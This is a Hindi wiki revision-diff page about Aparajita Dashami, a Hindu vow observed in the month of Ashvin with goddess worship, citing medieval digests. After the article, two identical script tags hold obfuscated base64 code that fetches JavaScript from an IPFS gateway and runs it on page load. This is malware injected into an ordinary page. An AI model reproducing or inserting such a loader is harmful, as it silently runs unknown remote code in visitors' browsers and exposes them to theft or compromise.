अपराजिता दशमी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
 
No edit summary
Line 1: Line 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*आश्विन शुक्लपक्ष [[एकादशी]] से [[दशमी]] (विशेषतः राजा के लिए) को वर्ष में एक बार यह व्रत किया जाता है।  
*[[आश्विन]] [[शुक्ल पक्ष]] [[एकादशी]] से [[दशमी]] (विशेषतः राजा के लिए) को वर्ष में एक बार यह व्रत किया जाता है।  
*अपराजिता दशमी में [[देवी]] की पूजा होती है।<ref>हेमाद्रि व्रतखण्ड (1, 968-73, गोपथ ब्राह्मण, स्कन्द पुराण आदि के उद्धरण), कृत्यरत्नाकर (365-366, यह शिष्टाचार पर आधृत है), पुरुषार्थचिन्तामणि (145-146), स्तृतिकौस्तुभ (352)</ref>  
*अपराजिता दशमी में [[देवी]] की पूजा होती है।<ref>हेमाद्रि व्रतखण्ड (1, 968-73, गोपथ ब्राह्मण, स्कन्द पुराण आदि के उद्धरण), कृत्यरत्नाकर (365-366, यह शिष्टाचार पर आधृत है), पुरुषार्थचिन्तामणि (145-146), स्तृतिकौस्तुभ (352)</ref>  
*हेमाद्रि व्रतखण्ड एवं स्मृतिकौस्तुभ के मत से [[राम]] ने श्रवण नक्षत्र में आक्रमण आरम्भ किया था।
*हेमाद्रि व्रतखण्ड एवं स्मृतिकौस्तुभ के मत से [[राम]] ने श्रवण नक्षत्र में आक्रमण आरम्भ किया था।

Revision as of 08:43, 6 September 2010

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • आश्विन शुक्ल पक्ष एकादशी से दशमी (विशेषतः राजा के लिए) को वर्ष में एक बार यह व्रत किया जाता है।
  • अपराजिता दशमी में देवी की पूजा होती है।[1]
  • हेमाद्रि व्रतखण्ड एवं स्मृतिकौस्तुभ के मत से राम ने श्रवण नक्षत्र में आक्रमण आरम्भ किया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि व्रतखण्ड (1, 968-73, गोपथ ब्राह्मण, स्कन्द पुराण आदि के उद्धरण), कृत्यरत्नाकर (365-366, यह शिष्टाचार पर आधृत है), पुरुषार्थचिन्तामणि (145-146), स्तृतिकौस्तुभ (352)

संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>